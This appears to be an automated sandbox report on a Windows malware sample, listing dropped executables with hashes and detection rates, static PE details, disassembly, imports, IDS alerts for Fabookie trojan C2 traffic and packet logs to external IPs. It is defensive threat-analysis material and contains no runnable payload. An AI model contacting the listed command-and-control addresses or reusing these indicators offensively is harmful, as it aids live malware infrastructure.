SHA1:	D85B34C560AEAD9B7E1E74BA24D0C42E6506EFA6
SHA-256:	2756A9CBC8EBC2B00CB513EEF1A3D898003644452351FD47FC929959741B6C51
SHA-512:	86B0C76A7B70E97F1E7AC7BE107633328FFD382E6B31DA0E6AE8DFB4F2A0A9B8C5293C522CDEC5C3564BB600B75FB8D6526CE3B347C47C7CF1F726009E11F674
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........).KIH..IH..IH../.#.(H..'....H...."..I..D.3.oH..'....H.......I..n.!.@H...!.*I......gI..W.k..H..413.GI..IH...H..@0\|..I..l?..bI......eH..W.z..H.......I..&>r..I..l?1..I..J0..sH..n. ..I..&>u.\H..J03..H..R.D..I..RichIH..............................................................PE..L...z..c...........!................#.............@..........................`.............@....................................................................Lm...................................................................................text...@........................... ..`.rdata.............................@..@.data...C........ ..................@....idata..............................@....rsrc..................................@.reloc..............................@..B............................................................................................................

C:\Users\user\AppData\Local\Temp\C40D.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	188416
Entropy (8bit):	6.933168679739018
Encrypted:	false
SSDEEP:	3072:DBu/booFZs+4oOYcmtbRkF/pstBaDqwONnct43EpstBaDqwONnct43rBl3N2UR:DBu/boGUoOciF/p/uwONct43Ep/uwON/
MD5:	AE9E2CE4CF9B092A5BBFD1D5A609166E
SHA1:	00C12EC16B5116403AE1A9923B114451880B741D
SHA-256:	CA5795709AF3BC2E03EC02C7307D5C85A844C421E36AFE30EB0F571E79342E87
SHA-512:	54727C7931293B6498E20B602DA13FF48498F2F52ABDE5CB79A412C128CDA203DB11F616F22D70F37CAD51D8642F5DDC8E3E761A2300545DA8A0F379612F15DA
Malicious:	true
Antivirus:	Antivirus: Metadefender, Detection: 54%, Browse Antivirus: ReversingLabs, Detection: 77%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........'d..F...F...F..=IU..F...w..F...d..F...g..F..=IW..F...F...F...x..F...r..F..Rich.F..........PE..L...q..c..........................................@.........................................................................L...d....P..(...............................................................@............................................text............................... ..`.rdata..,+.......0..................@..@.data...D4....... ..................@....rsrc........P.......0..............@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\D7DE.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	828928
Entropy (8bit):	7.686085587439098
Encrypted:	false
SSDEEP:	24576:z3EpsCnU+h+6gVij9dfL3EiFoCKpY3LHyYCoIuxN7lEGAzzs:z3EpsU+6gVij9dfL3EiFoCKpY3LHf/xY
MD5:	E990ACDB640F13969C55C38E857AB4AB
SHA1:	84F63D8051BE02F40B6EEC7604C7EB3992527D9A
SHA-256:	2FC9C8FFBA226D56755019591DE180CF29000B797350C7291AA8DC447A9A1BBB
SHA-512:	E10B6B0F73783C5FD44085C5F7B49D780CB49EE0E10B242AAEB97369E2E9C2F0AFCE9159BDFD65A596C5072CD57FF1A6F58E4F4D882191C2A9F5286411232E49
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 59%, Browse Antivirus: ReversingLabs, Detection: 81%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Q.I..............u.......c.....2E................d.(.....t.......q.....Rich............PE..L......a......................J.....@........0....@...........................L......V..........................................P.....L..4..........................................................x...@............................................text...Z........................... ..`.data...HdI..0...X..................@....rsrc....4....L..6...p..............@..@................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\F5C7.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3923456
Entropy (8bit):	7.824160991100444
Encrypted:	false
SSDEEP:	98304:Ihq+oEPXzLUV3HDX3vxp+Btu6VXeiFHPzvgcB8LsTR:iVoyXzLC3vuDu6RXhP2
MD5:	2679869D7C3C730553BDB94848DDEEA5
SHA1:	EE8DA34EC12A1F27E32BCEE4365B0B34462A22F6
SHA-256:	D982560420D121513BBA42F5D0C6007B874D84AB754E3736D1CD0F2251E90B5D
SHA-512:	C9191F09AB26624F484EBEE05CB880EA6DB50FEFC8A152F6CFD5BED53E17604AFF243F008366E2EE9B4A76927D1F92F484724B06ECE22AD6F5044C45932338EB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 58%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...`..c..........#..................+M........@.............................`i........... ................................................. .O......Pi.......h. ............................................=S.0.....h.8............p7..............................text.............................. ..`.rdata...U..........................@..@.data........0......................@....pdata.............................@..@_RDATA.......`......................@..@.vmp0...#....p......................`..`.vmp1.....;..p-...;.................`..h.rsrc........Pi.......;.............@..@................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\bhseufd

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	305664
Entropy (8bit):	6.4834699682040595
Encrypted:	false
SSDEEP:	6144:Y5mnWWWrhQW3D0pzqbUK/4snJmeaxiB0B4rU9h9/B:Rn0rCkgpqbUK/dnHaxiqf
MD5:	26C8EA801C4FD1239773BBDEB0E41CCE
SHA1:	1B8C13E63E6682290D02E0D2B398765F5B36AB14
SHA-256:	BED8FD323A648D51552ECF4F517B6D4366D2F45E290DB5ADD805989E7332C15F
SHA-512:	286CB88B5628EC337A4BCB0FE23B099CD422963B1BBEBDE84C725362D6492C3B89A0C6FBD78F90B0A43B17274130F1673FF2FA28C48644F54C15A0922A1DEDCF
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 38%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........IE...E...E...[.u.R...[.c....bE..B...E......[.d.x...[.t.D...[.q.D...RichE...........................PE..L..../.a......................B..............0....@...........................D.....*.......................................d...P.....D.@Q..............................................................@............................................text............................... ..`.data...HKA..0...@..................@....rsrc...@Q....D..R...X..............@..@................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\bhseufd:Zone.Identifier

Download File

Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\csjjafb

Download File

Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	248375
Entropy (8bit):	7.999229707981066
Encrypted:	true
SSDEEP:	3072:FtdLmlpIBg5DFRcUWMWc5wn5zDFJ1EOFi66jBUOO1+SLPcSd22Ds+QrAC62yv68Q:p6vcz18/JucEsLrACb98+jRdKGlL
MD5:	524AF346B194F4B65DEEADAE0A4AFC60
SHA1:	CDAD4101EAADB44C06D93AF43A6EA738358544BE
SHA-256:	4637206A96DE5D939D5F22069719A3EBFB3CE9DE9BD8D3C7EE97AB6D7858AE6C
SHA-512:	4430CAED4DFA359B05F80C6E212650308C66AFDC99925454274192C030418D400119D9F4313A41249C7682EB3EB07EE2C3AD49792AC9794E2891AE45900B55DE
Malicious:	false
Preview:	.q.v.Pg...............28T.....F....o......i..e.b$..Q./V.e.?./.......~....b.d.'.......2..'.....n.3;~..V..f..)s......:..oa..=.SM96..{.[..j;.d...v>.s.$.....I..e.e.......2.qf.>5.E..R.fQ...o.).:.Z^=...!..m...m.4.X.&...h'.+.W...w..';...c.A'.3..vn.F.......nA-.....?...N...N.........0...+.H.RH7..A..f...W....._....N.N.dS....KZ....X....bZ..X.R.?."`.(.&..9.H@uM.1g.......RX.......`?e 7.\|.$N.8U.i1...n..3..3..d.-)3.Z.x..bA.@....i...i.C.N.?>B..8.h......c;....Y....8..y.U .n...b....?.t......P ........8U.J.w.%....l.;)..b"...5a{..>...B".=R....:..`\|..tG.....[.R..(.....rgs.V......c..u.q}..."....Y4.:W. .....I...k.Z...x.4.b.4......O....!.0q..U.........?....[...$RCE...@b.q.w........d7%......M.M..o\|...3..k..i..YzU.T..E.....1.......Z...@.h.....&F..w.n:.`.].1....J.<}=p9.jl..m.2-...T..q.d.,...F..{ME1Y..=..N...W..D.A].ck.......X.PXA..C..TZ...#=...[m.{.wR.^.....(.....3(..Kbkx3...y.4#....rD....'.\....j.....+G5.a.a4..>...%...F#...yu ...,.v..._..T.2..\........4......J.0

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\C40D.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:y:y
MD5:	81051BCC2CF1BEDF378224B0A93E2877
SHA1:	BA8AB5A0280B953AA97435FF8946CBCBB2755A27
SHA-256:	7EB70257593DA06F682A3DDDA54A9D260D4FC514F645237F5CA74B08F8DA61A6
SHA-512:	1B302A2F1E624A5FB5AD94DDC4E5F8BFD74D26FA37512D0E5FACE303D8C40EEE0D0FFA3649F5DA43F439914D128166CB6C4774A7CAA3B174D7535451EB697B5D
Malicious:	false
Preview:	..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.4834699682040595
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	305664
MD5:	26c8ea801c4fd1239773bbdeb0e41cce
SHA1:	1b8c13e63e6682290d02e0d2b398765f5b36ab14
SHA256:	bed8fd323a648d51552ecf4f517b6d4366d2f45e290db5add805989e7332c15f
SHA512:	286cb88b5628ec337a4bcb0fe23b099cd422963b1bbebde84c725362d6492c3b89a0c6fbd78f90b0a43b17274130f1673ff2fa28c48644f54c15a0922a1dedcf
SSDEEP:	6144:Y5mnWWWrhQW3D0pzqbUK/4snJmeaxiB0B4rU9h9/B:Rn0rCkgpqbUK/dnHaxiqf
TLSH:	03548D00FAA0D035F4B311F85A768378B92E7EA0972551CB62D56AEE5734AE0FC3174B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........IE...E...E...[.u.R...[.c.....bE..B...E.......[.d.x...[.t.D...[.q.D...RichE...........................PE..L..../.a...........

File Icon


Icon Hash:	c8d0d8e0f0e0f4e8

Static PE Info

General

Entrypoint:	0x40ae90
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x61FA2F1A [Wed Feb 2 07:13:30 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	4e4ac8ce1e119b957e1ec71265bc4120

Entrypoint Preview

Instruction
mov edi, edi
push ebp
mov ebp, esp
call 00007FB4B0D6ADBBh
call 00007FB4B0D5D7A6h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov edi, edi
push ebp
mov ebp, esp
push FFFFFFFEh
push 00430CF0h
push 0040E3E0h
mov eax, dword ptr fs:[00000000h]
push eax
add esp, FFFFFF94h
push ebx
push esi
push edi
mov eax, dword ptr [00445BC4h]
xor dword ptr [ebp-08h], eax
xor eax, ebp
push eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
mov dword ptr [ebp-18h], esp
mov dword ptr [ebp-70h], 00000000h
mov dword ptr [ebp-04h], 00000000h
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [004011A0h]
mov dword ptr [ebp-04h], FFFFFFFEh
jmp 00007FB4B0D5D7B8h
mov eax, 00000001h
ret
mov esp, dword ptr [ebp-18h]
mov dword ptr [ebp-78h], 000000FFh
mov dword ptr [ebp-04h], FFFFFFFEh
mov eax, dword ptr [ebp-78h]
jmp 00007FB4B0D5D8E8h
mov dword ptr [ebp-04h], FFFFFFFEh
call 00007FB4B0D5D924h
mov dword ptr [ebp-6Ch], eax
push 00000001h
call 00007FB4B0D6BE6Ah
add esp, 04h
test eax, eax
jne 00007FB4B0D5D79Ch
push 0000001Ch
call 00007FB4B0D5D8DCh
add esp, 04h
call 00007FB4B0D64D64h
test eax, eax
jne 00007FB4B0D5D79Ch
push 00000010h

Rich Headers

Programming Language:

[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[C++] VS2008 build 21022
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x31464	0x50	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x448000	0x5140	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x12f0	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x8f88	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x2a0	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x313c6	0x31400	False	0.4182661802030457	data	6.1303681760481625	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x33000	0x414b48	0x14000	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x448000	0x5140	0x5200	False	0.4875190548780488	data	4.826106006605779	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
AFX_DIALOG_LAYOUT	0x44b0f0	0x2	data
AFX_DIALOG_LAYOUT	0x44b0e8	0x2	data
AFX_DIALOG_LAYOUT	0x44b0f8	0x2	data
AFX_DIALOG_LAYOUT	0x44b100	0x2	data
AFX_DIALOG_LAYOUT	0x44b108	0x2	data
RT_CURSOR	0x44b110	0x130	data
RT_CURSOR	0x44b240	0xf0	data
RT_CURSOR	0x44b330	0x10a8	dBase III DBT, version number 0, next free block index 40
RT_CURSOR	0x44c408	0x8a8	dBase III DBT, version number 0, next free block index 40, 1st item "\251\317"
RT_ICON	0x448520	0x6c8	data	Korean	North Korea
RT_ICON	0x448520	0x6c8	data	Korean	South Korea
RT_ICON	0x448be8	0x568	GLS_BINARY_LSB_FIRST	Korean	North Korea
RT_ICON	0x448be8	0x568	GLS_BINARY_LSB_FIRST	Korean	South Korea
RT_ICON	0x449150	0x10a8	data	Korean	North Korea
RT_ICON	0x449150	0x10a8	data	Korean	South Korea
RT_ICON	0x44a1f8	0x988	dBase III DBT, version number 0, next free block index 40	Korean	North Korea
RT_ICON	0x44a1f8	0x988	dBase III DBT, version number 0, next free block index 40	Korean	South Korea
RT_ICON	0x44ab80	0x468	GLS_BINARY_LSB_FIRST	Korean	North Korea
RT_ICON	0x44ab80	0x468	GLS_BINARY_LSB_FIRST	Korean	South Korea
RT_STRING	0x44ce08	0x156	data	Korean	North Korea
RT_STRING	0x44ce08	0x156	data	Korean	South Korea
RT_STRING	0x44cf60	0x1e0	data	Korean	North Korea
RT_STRING	0x44cf60	0x1e0	data	Korean	South Korea
RT_ACCELERATOR	0x44b098	0x50	data	Korean	North Korea
RT_ACCELERATOR	0x44b098	0x50	data	Korean	South Korea
RT_ACCELERATOR	0x44b038	0x60	data	Korean	North Korea
RT_ACCELERATOR	0x44b038	0x60	data	Korean	South Korea
RT_GROUP_CURSOR	0x44c3d8	0x30	data
RT_GROUP_CURSOR	0x44ccb0	0x14	data
RT_GROUP_ICON	0x44afe8	0x4c	data	Korean	North Korea
RT_GROUP_ICON	0x44afe8	0x4c	data	Korean	South Korea
RT_VERSION	0x44ccc8	0x140	MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79

Imports

DLL	Import
KERNEL32.dll	QueryDosDeviceA, LocalFree, SetProcessPriorityBoost, VirtualQuery, GlobalGetAtomNameW, FindResourceA, GetComputerNameExW, GetModuleHandleA, GetTempPathA, BuildCommDCBAndTimeoutsW, GetProcAddress, VirtualProtect, OpenJobObjectW, _lwrite, UnlockFile, GetPrivateProfileStructA, GetDiskFreeSpaceExW, DefineDosDeviceA, SetVolumeMountPointW, GetAtomNameA, FlushConsoleInputBuffer, EnumResourceLanguagesA, GetCPInfoExW, GetThreadContext, lstrlenW, GetProcessAffinityMask, SetConsoleWindowInfo, CreateJobSet, CopyFileW, lstrcpynA, WriteConsoleA, GetCommandLineA, GetLastError, GetCommandLineW, InterlockedIncrement, CreateJobObjectW, InitializeCriticalSection, GetConsoleFontSize, FindNextVolumeA, GlobalFlags, SetConsoleCursorInfo, LoadLibraryW, VerifyVersionInfoA, WriteProfileSectionW, AddAtomW, InterlockedDecrement, LoadLibraryA, FoldStringA, GetDefaultCommConfigW, GetConsoleAliasesLengthA, lstrcpyA, TerminateThread, HeapFree, SetCriticalSectionSpinCount, GetComputerNameA, EnumSystemLocalesW, DisableThreadLibraryCalls, OpenMutexA, LocalFileTimeToFileTime, SearchPathA, SetProcessShutdownParameters, CreateMutexA, FormatMessageA, InterlockedCompareExchange, EnumDateFormatsW, GetConsoleScreenBufferInfo, LocalAlloc, SetFileShortNameA, EnumCalendarInfoExW, GetFileAttributesA, GetSystemWindowsDirectoryA, GetAtomNameW, ReadConsoleInputA, EnumDateFormatsA, _hwrite, GetConsoleAliasA, GetQueuedCompletionStatus, lstrcatW, GetDefaultCommConfigA, GetFullPathNameW, DebugBreakProcess, AddAtomA, SetCurrentDirectoryW, SetCalendarInfoW, FindNextFileA, GetProfileSectionW, SetHandleCount, MoveFileWithProgressW, ReadConsoleOutputCharacterW, CopyFileExW, GetConsoleAliasesLengthW, WideCharToMultiByte, UnhandledExceptionFilter, SetUnhandledExceptionFilter, MoveFileA, DeleteFileA, RaiseException, GetStartupInfoA, HeapValidate, IsBadReadPtr, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, GetModuleFileNameW, TerminateProcess, GetCurrentProcess, IsDebuggerPresent, GetACP, GetOEMCP, GetCPInfo, IsValidCodePage, TlsGetValue, GetModuleHandleW, TlsAlloc, TlsSetValue, GetCurrentThreadId, TlsFree, SetLastError, Sleep, ExitProcess, GetModuleFileNameA, WriteFile, GetStdHandle, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetFileType, HeapDestroy, HeapCreate, VirtualFree, HeapAlloc, HeapSize, HeapReAlloc, VirtualAlloc, RtlUnwind, InitializeCriticalSectionAndSpinCount, DebugBreak, OutputDebugStringA, WriteConsoleW, OutputDebugStringW, MultiByteToWideChar, LCMapStringA, LCMapStringW, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, FlushFileBuffers, GetConsoleCP, GetConsoleMode, ReadFile, SetFilePointer, CloseHandle, SetStdHandle, GetConsoleOutputCP, CreateFileA
GDI32.dll	GetCharWidth32A, GetBoundsRect, SelectObject, GetCharWidthW
ADVAPI32.dll	RevertToSelf

Possible Origin

Language of compilation system	Country where language is spoken	Map
Korean	North Korea
Korean	South Korea

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.445.136.151.10249737802851115 08/31/22-14:28:51.675950	TCP	2851115	ETPRO TROJAN Win32/Fabookie.ek CnC Activity M2	49737	80	192.168.2.4	45.136.151.102
192.168.2.445.136.151.10249734802851115 08/31/22-14:28:48.568762	TCP	2851115	ETPRO TROJAN Win32/Fabookie.ek CnC Activity M2	49734	80	192.168.2.4	45.136.151.102
192.168.2.445.136.151.10249777802851115 08/31/22-14:29:19.702387	TCP	2851115	ETPRO TROJAN Win32/Fabookie.ek CnC Activity M2	49777	80	192.168.2.4	45.136.151.102
192.168.2.445.136.151.10249752802851115 08/31/22-14:29:06.257809	TCP	2851115	ETPRO TROJAN Win32/Fabookie.ek CnC Activity M2	49752	80	192.168.2.4	45.136.151.102
192.168.2.445.136.151.10249747802851115 08/31/22-14:29:03.548244	TCP	2851115	ETPRO TROJAN Win32/Fabookie.ek CnC Activity M2	49747	80	192.168.2.4	45.136.151.102
192.168.2.445.136.151.10249762802851115 08/31/22-14:29:10.056730	TCP	2851115	ETPRO TROJAN Win32/Fabookie.ek CnC Activity M2	49762	80	192.168.2.4	45.136.151.102
192.168.2.445.136.151.10249731802851115 08/31/22-14:28:46.911477	TCP	2851115	ETPRO TROJAN Win32/Fabookie.ek CnC Activity M2	49731	80	192.168.2.4	45.136.151.102
192.168.2.445.136.151.10249740802851115 08/31/22-14:28:54.152447	TCP	2851115	ETPRO TROJAN Win32/Fabookie.ek CnC Activity M2	49740	80	192.168.2.4	45.136.151.102

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 31, 2022 14:28:04.608086109 CEST	49719	80	192.168.2.4	185.237.206.60
Aug 31, 2022 14:28:07.620383024 CEST	49719	80	192.168.2.4	185.237.206.60
Aug 31, 2022 14:28:13.191972017 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:13.477826118 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:13.477907896 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:13.478497982 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:13.478513002 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:13.763890028 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:14.336330891 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:14.336357117 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:14.337322950 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:14.622354984 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:14.622392893 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:14.622539997 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:14.622766018 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:14.667829037 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:14.908759117 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:14.908806086 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:14.910161018 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:14.910171032 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:14.953928947 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:14.954070091 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:14.954348087 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:14.995984077 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:15.196440935 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:15.196516991 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:15.196754932 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:15.196845055 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:15.240458012 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:15.240509987 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:15.240533113 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:15.240607023 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:15.240660906 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:15.282421112 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:15.282452106 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:15.282545090 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:15.482986927 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:15.483063936 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:15.483119965 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:15.483166933 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:15.483175993 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:15.483236074 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:15.526371002 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:15.526402950 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:15.526477098 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:15.526746988 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:15.526771069 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:15.526792049 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:15.526810884 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:15.568368912 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:15.568397045 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:15.568416119 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:15.568494081 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:15.568535089 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:15.769032001 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:15.769176960 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:15.769248962 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:15.769424915 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:15.769576073 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:15.769606113 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:15.769623041 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:15.769640923 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:15.769670010 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:15.812422991 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:15.812449932 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:15.812469959 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:15.812489033 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:15.812508106 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:15.812558889 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:15.812597990 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:15.812737942 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:15.812786102 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:15.854347944 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:15.854378939 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:15.854401112 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:15.854418039 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:15.854439974 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:15.854461908 CEST	49720	80	192.168.2.4	186.182.55.44
